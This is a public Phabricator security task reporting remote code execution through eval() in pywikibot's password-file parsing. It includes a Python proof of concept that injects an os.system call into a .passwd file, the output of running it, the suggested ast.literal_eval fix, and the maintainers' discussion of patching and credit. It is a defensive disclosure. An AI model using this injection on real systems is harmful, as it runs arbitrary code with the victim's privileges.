Page MenuHomePhabricator

RCE via eval() in pywikibot during password parsing
Closed, ResolvedPublicSecurity

Description

From a report to security@wikimedia.org by @Aydinnyunus

Summary

Vulnerability: Remote Code Execution (RCE) via insecure use of eval() in password file parsing
Severity: HIGH
Affected Version: pywikibot 10.7.0 (latest)
File: pywikibot/login.py line 255

Description

The readPassword() method in pywikibot/login.py uses Python's eval() function to parse password file entries. If an attacker can control the content of the password file, they can inject arbitrary Python code that will be executed when the file is parsed, leading to Remote Code Execution.

Technical Details

Vulnerable Code:

# pywikibot/login.py line 255
entry = eval(line)  # <-- RCE vulnerability

Attack Vector:

  • Attacker needs write access to the password file (.passwd)
  • Malicious Python code is injected into the password file
  • When LoginManager initializes, it calls readPassword() which executes eval() on each line
  • Arbitrary code executes with the privileges of the user running pywikibot

Proof of Concept

PoC Code:

#!/usr/bin/env python3
import os
import uuid
from pathlib import Path

# Change to PoC directory
poc_dir = Path(__file__).parent
os.chdir(poc_dir)

# Generate random exploit file name
exploit_filename = f'pwb_rce_{uuid.uuid4().hex[:8]}.txt'
exploit_file = Path(f'/tmp/{exploit_filename}')

# Create .passwd file with malicious code
passwd_content = f"""# Normal password entry
('testuser', 'testpass')

# Malicious code injection
('en', 'wikipedia', 'victim', __import__('os').system('touch /tmp/{exploit_filename} && echo "RCE SUCCESSFUL" > /tmp/{exploit_filename}'))
"""
(poc_dir / '.passwd').write_text(passwd_content, encoding='utf-8')
os.chmod(poc_dir / '.passwd', 0o600)

# Import pywikibot - triggers password file parsing
import pywikibot
from pywikibot.login import LoginManager

# Create fake site to avoid network calls
class FakeSite:
    def __init__(self):
        self.code = 'en'
        self.family = type('FakeFamily', (), {'name': 'wikipedia'})()

pywikibot.Site = lambda *args, **kwargs: FakeSite()

# This triggers readPassword() which uses eval() on line 255
LoginManager()

# Check if RCE was successful
if exploit_file.exists():
    print("[!] RCE SUCCESSFUL!")
    print(f"[!] File created: {exploit_file}")
    print(f"[!] Contents: {exploit_file.read_text()}")
else:
    print("[*] Exploit file not found")

PoC Execution:

cd agent_runs/digital-exploit-929/poc
python poc_rce.py

PoC Result:

[!] RCE SUCCESSFUL!
[!] File created: /tmp/pwb_rce_7dcaee57.txt
[!] Contents: RCE SUCCESSFUL

Impact

  • Confidentiality: HIGH - Attacker can read all credentials in password file and other sensitive files
  • Integrity: HIGH - Attacker can modify system files, install backdoors
  • Availability: MEDIUM - Attacker can disrupt service
  • Authentication Bypass: HIGH - Attacker gains authenticated access to wiki accounts

Attack Preconditions

  1. Attacker must have write access to the password file
  2. File permissions must allow modification (though code enforces 0o600)
  3. User must run pywikibot after file is modified

Remediation

Recommended Fix: Replace eval() with ast.literal_eval()

File: pywikibot/login.py line 255

Change:

# Before (vulnerable)
entry = eval(line)

# After (safe)
import ast
entry = ast.literal_eval(line)  # Only evaluates Python literals, no code execution

Details

Risk Rating
High
Author Affiliation
Wikimedia Communities

Event Timeline

Reedy added a subscriber: Xqt.

CC @Xqt

I didn't want to just tag the pywikibot projects, because it will presumably try to CC @pywikibot-bugs-list which will post it on the public mailing list...

See also: T410753: Please add a security policy to the repo

I didn't want to just tag the pywikibot projects, because it will presumably try to CC @pywikibot-bugs-list which will post it on the public mailing list...

My understanding of H6 that this should not happen. But could test that again later.

@Aydinnyunus, @Reedy: I submitted a patch for T410753. Please review it. It will be published with Pywikibot 11 maybe at the beginning of next year but I could backport it as stable release 10.7.1 soon if appropriate.

Hi @Xqt, it looks good to me. I think 10.7.1 release will be better.

sbassett changed the task status from Open to In Progress.Nov 24 2025, 5:31 PM
sbassett triaged this task as High priority.
sbassett moved this task from Incoming to In Progress on the Security-Team board.
sbassett added a project: SecTeam-Processed.

I am not sure "Security Best Practices" part is necessary. Except that I think it is clear.

I am not sure "Security Best Practices" part is necessary. Except that I think it is clear.

I removed it and added form 75 for security issues

I merged the patch. I guess this task can be closed then.

Thank you for your support. I was wondering if there’s any option for credit as mentioned here: https://www.mediawiki.org/wiki/Reporting_security_bugs#Crediting_reporters

Er, is there a specific change set or merge request that fixes the actual RCE? I didn't see an obvious one in gerrit or at github. https://gerrit.wikimedia.org/r/c/pywikibot/core/+/1210674 just updates the security policy.

sbassett changed Author Affiliation from N/A to Wikimedia Communities.Nov 25 2025, 5:45 PM
sbassett changed the visibility from "Custom Policy" to "Public (No Login Required)".
sbassett changed the edit policy from "Custom Policy" to "All Users".
sbassett changed Risk Rating from N/A to High.

Thank you for your support. I was wondering if there’s any option for credit as mentioned here: https://www.mediawiki.org/wiki/Reporting_security_bugs#Crediting_reporters

A added a notice to the last commit related to this issue.
https://gerrit.wikimedia.org/r/c/pywikibot/core/+/1210674

Thank you for your help.